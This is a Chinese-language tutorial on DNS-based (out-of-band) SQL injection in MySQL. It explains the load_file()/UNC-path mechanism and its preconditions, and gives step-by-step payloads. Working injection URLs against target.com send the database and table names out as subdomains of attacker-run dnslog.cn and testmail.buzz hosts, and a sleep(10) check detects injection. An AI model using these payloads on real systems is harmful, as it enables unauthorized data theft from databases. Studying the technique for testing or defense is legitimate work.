SQL数据库DNS注入通过查询DNS解析记录获取数据,需满足secure_file_priv为空且目标主机开放445
MySQL数据库DNS注入详解
DNS注入原理
DNS(Domain Name System)域名系统,将域名与IP地址相互映射的一个分布式数据库,DNS注入的核心是利用DNS解析记录,通过查询指定DNS服务器上的解析日志来获取数据,当在MySQL中使用load_file()
函数读取文件时,如果文件路径是一个UNC路径(Universal Naming Convention,通用命名规则),并且该路径指向一个恶意DNS服务器的子域名,那么在DNS服务器上就会留下查询记录,从而泄露数据库信息。
DNS注入前提条件
条件 | 说明 |
---|---|
secure_file_priv 为空 |
MySQL的secure_file_priv 选项必须为空,表示可以访问任意文件,如果为NULL ,则不允许导入导出。 |
目标主机开放445端口 | 因为load_file() 函数需要结合文件共享协议(SMB)来读取远程文件,所以目标主机必须开放445端口。 |
Windows系统 | DNS注入通常出现在Windows系统服务器上,因为Windows默认开启局域网内的文件共享。 |
关键函数与路径
load_file()
函数
- 作用:读取文件并返回文件内容,类型为字符串。
- 使用条件:
- 文件必须位于服务器主机上。
- 必须指定完整路径的文件。
- 必须有
FILE
权限。 - 文件所有字节可读,且内容小于
max_allowed_packet
(默认1MB)。
- 启用方式:在MySQL配置文件(如
my.ini
或/etc/my.cnf
)中添加secure_file_priv=
,然后重启MySQL服务。
UNC路径
- 格式:
\\servername\sharename
或//servername/sharename
。 - 示例:
//a.1806dl.dnslog.cn/abc
表示访问a.1806dl.dnslog.cn
下的abc
共享文件夹。
DNS注入实战步骤
判断SQL注入
- 方法:在URL参数后添加
and sleep(10)
,观察页面是否延时10秒。 - 示例:
http://target.com/index.php?id=1 and sleep(10)
。
获取库名
- 构造Payload:
load_file(concat('//', (select database()), '.dnslog.cn/abc'))
。 - 示例:
http://target.com/index.php?id=1 and load_file(concat('//', (select database()), '.p.dnslog.cn/abc'))
。
获取表名
- 构造Payload:
load_file(concat('//', (select table_name from information_schema.tables where table_schema='库名' limit 0,1), '.dnslog.cn/abc'))
。 - 示例:
http://target.com/index.php?id=1 and load_file(concat('//', (select table_name from information_schema.tables where table_schema='mangzhu' limit 0,1), '.061ff62d.testmail.buzz/123'))
。
获取字段名和数据
- 构造Payload:类似获取表名的方式,依次获取字段名和数据。
常见问题与解答
问题1:load_file()
函数返回NULL
怎么办?
解答:检查以下条件是否满足:
- 文件路径是否正确。
- 文件是否存在且可读。
secure_file_priv
是否为空,是否小于max_allowed_packet
。
问题2:DNS注入只能一次带出一个信息吗?
解答:是的,DNS注入通常一次只能带出一个信息,因为每次注入都会生成一个新的子域名查询记录,在实际操作中,需要多次构造Payload来逐步获取完整的数据